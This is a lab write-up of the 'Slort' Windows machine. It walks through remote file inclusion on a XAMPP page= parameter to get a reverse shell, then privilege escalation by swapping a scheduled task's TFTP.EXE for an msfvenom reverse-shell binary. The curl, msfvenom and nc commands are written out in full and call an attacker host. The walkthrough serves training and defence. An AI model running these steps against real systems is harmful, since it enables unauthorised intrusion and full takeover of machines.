the_open_door
coffee
ESEN

Slort

Proving Grounds PracticeMediumWindows192.168.219.53

The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.

#xampp#rfi#remote-file-inclusion#scheduled-task#binary-replacement#information-disclosure#windows#oscp
TL;DR. A XAMPP on 8080 serves site/index.php?page=, vulnerable to remote file inclusion: we point the parameter at a rev.php hosted on our box and get a shell as slort\rupert (RFI to RCE). To escalate, a scheduled task runs a TFTP.EXE every 5 minutes from a writable directory; we swap it for a malicious binary and the task hands us an Administrator shell (scheduled-task hijack).

Recon

Initial scan

TTL 125 → Windows: Windows starts the TTL at 128 and each routing hop decrements it, so 125 = 128−3; a hint, not proof (it can be spoofed), confirmed by the service scan. Broad surface with FTP, SMB, MySQL and two XAMPP instances.

ping -c 1 192.168.219.53
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.219.53
PORT     STATE SERVICE
21/tcp   open  ftp
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
3306/tcp open  mysql
4443/tcp open  http
8080/tcp open  http
nmap -p21,135,139,445,3306,4443,8080 -sCV 192.168.219.53 -oN targetedScan
PORT     STATE SERVICE      VERSION
21/tcp   open  ftp          FileZilla ftpd 0.9.41 beta
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds
3306/tcp open  mysql        MariaDB 10.3.24 or later (unauthorized)
4443/tcp open  http         Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
8080/tcp open  http         Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
|_http-title: Welcome to XAMPP

HTTP - TCP 8080

dirsearch on 8080 finds /site/, which redirects to index.php?page=main.php:

dirsearch -u http://192.168.219.53:8080/ --exclude-status=404,403
301 -   27B  - /site/  ->  index.php?page=main.php

The /site/ app loads its sections via index.php?page=main.php:

The SLORT site served by index.php?page=main.php

A page= parameter that loads another PHP page screams file inclusion. Testing a value that doesn't exist (?page=test), PHP's error confirms it: the parameter goes straight into an include():

?page=test returns "include(): Failed opening 'test' for inclusion" in C:\xampp\htdocs\site\index.php

Since XAMPP's PHP usually ships with allow_url_include on, we try a remote inclusion: we point page= at a file served by our box, and our http.server receives the request. Remote inclusion works:

?page=http://192.168.45.238:8008/test makes the target fetch the file from our http.server (GET /test)

Exploitation

RFI: page= pointing at our rev.php

As a webshell we use Ivan Sincek's PHP from revshells.com:

revshells.com with the Ivan Sincek PHP, IP 192.168.45.238

We serve it from our box as rev.php and point the page= parameter at that URL (RFI to RCE):

python3 -m http.server 80        # serves rev.php
penelope                          # listener waiting for the reverse shell
curl 'http://192.168.219.53:8080/site/index.php?page=http://192.168.45.238/rev.php'

RFI on page= includes our rev.php and returns a shell as slort\rupert

192.168.219.53 - - [13/Feb/2026 20:42:22] "GET /rev.php HTTP/1.0" 200 -

[+] Got reverse shell from SLORT~192.168.219.53-Microsoft_Windows_10_Pro-x64-based_PC 😎 Assigned SessionID <1>

C:\xampp\htdocs\site>whoami
slort\rupert

The shell runs as slort\rupert.

Local

type C:\Users\rupert\Desktop\local.txt & whoami & ipconfig & hostname

local.txt read as the rupert user on slort

3cf7934a6a47ccfaeeff9ba463df09c1
slort\rupert

Privilege escalation

Scheduled task: TFTP.EXE binary replacement

Enumerating the root reveals an unusual C:\Backup directory. Inside, an info.txt documents what the machine does:

dir
cd C:\Backup & dir & type info.txt

the dir of C: shows the Backup directory among the system ones, and inside it backup.txt, info.txt and TFTP.exe, with the type of info.txt revealing the task

C:\>dir
 Directory of C:\

02/13/2026  12:57 PM    <DIR>          Backup
02/13/2026  11:27 AM             2,848 output.txt
12/07/2019  01:14 AM    <DIR>          PerfLogs
05/04/2022  12:06 AM    <DIR>          Program Files
12/03/2021  08:22 AM    <DIR>          Program Files (x86)
12/03/2021  08:29 AM    <DIR>          Users
05/04/2022  12:52 AM    <DIR>          Windows
06/12/2020  07:11 AM    <DIR>          xampp

C:\Backup>dir
 Directory of C:\Backup

06/12/2020  06:45 AM            11,304 backup.txt
06/12/2020  06:45 AM                73 info.txt
02/13/2026  12:57 PM             7,680 TFTP.exe

C:\Backup>type info.txt
Run every 5 minutes:
C:\Backup\TFTP.EXE -i 192.168.234.57 get backup.txt

Three details in that listing. Backup is not a Windows directory: it sits next to PerfLogs, Program Files and xampp, and its modification date is today's, not the install's. info.txt is only 73 bytes, that is, two lines. And the TFTP.exe inside carries today's date too: the task is touching it.

info.txt reveals a task that runs C:\Backup\TFTP.EXE every 5 minutes

A scheduled task launches C:\Backup\TFTP.EXE periodically, and that directory is writable by our user. If we replace TFTP.EXE with our own binary, the task will run it with its privileges (scheduled-task hijack). We generate a reverse shell and drop it in:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.238 LPORT=4321 -f exe > TFTP.exe

msfvenom builds TFTP.exe (460-byte payload) and http.server 8000 serves it

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 460 bytes
Final size of exe file: 7680 bytes

Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

We start the nc that will receive the connection:

rlwrap nc -nlvp 4321

On the victim, we back up the original as .bak and download ours with curl:

move TFTP.EXE TFTP.EXE.bak
curl http://192.168.45.238:8000/TFTP.exe -o TFTP.exe

curl downloads TFTP.exe into C:\Backup; dir shows TFTP.exe (7680) and the original TFTP.EXE.bak

C:\Backup>curl http://192.168.45.238:8000/TFTP.exe -o TFTP.exe
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
100  7680  100  7680    0     0   7680      0  0:00:01 --:--:--  0:00:01  120k

C:\Backup>dir
 Directory of C:\Backup

02/13/2026  02:32 PM    <DIR>          .
02/13/2026  02:32 PM    <DIR>          ..
06/12/2020  06:45 AM            11,304 backup.txt
06/12/2020  06:45 AM                73 info.txt
02/13/2026  02:32 PM             7,680 TFTP.exe
06/23/2020  06:49 AM            73,802 TFTP.EXE.bak
               4 File(s)         92,859 bytes
               2 Dir(s)  28,583,464,960 bytes free

We wait for the next run (at most 5 minutes) with a listener up, and the task returns a shell as slort\administrator.

the scheduled task downloads TFTP.exe and the port 4321 listener catches the shell as slort\administrator

Proof

type C:\Users\Administrator\Desktop\proof.txt & whoami & ipconfig & hostname

proof.txt read as administrator on slort

ab67dc76f3463cc92f7cc5fea6cbde32
slort\administrator

Attack chain

XAMPP 8080  --  /site/index.php?page=
        │  allow_url_include -> RFI to http://<lhost>/rev.php
        ▼
slort\rupert  (local.txt)
        │  C:\Backup\info.txt -> task every 5 min runs C:\Backup\TFTP.EXE (writable dir)
        │  replace TFTP.EXE with msfvenom payload
        ▼
slort\administrator  (proof.txt)

Lessons learned

  • A page= parameter that includes pages is LFI/RFI. With allow_url_include on (common in lab XAMPP), remote inclusion gives direct RCE without uploading anything to the server.
  • Documenting the task in an info.txt hands over the vector. The file explained which binary ran and how often; enumerating "odd" directories like C:\Backup pays off.
  • Writable directory + scheduled task = escalation. If a privileged process runs a binary from a path a user can write, that user controls what runs with privileges.
  • Defense: task/service execution paths must be admin-write-only, and binaries should be validated (signature/hash) before running.
Command cheatsheet 7 commands

Quick review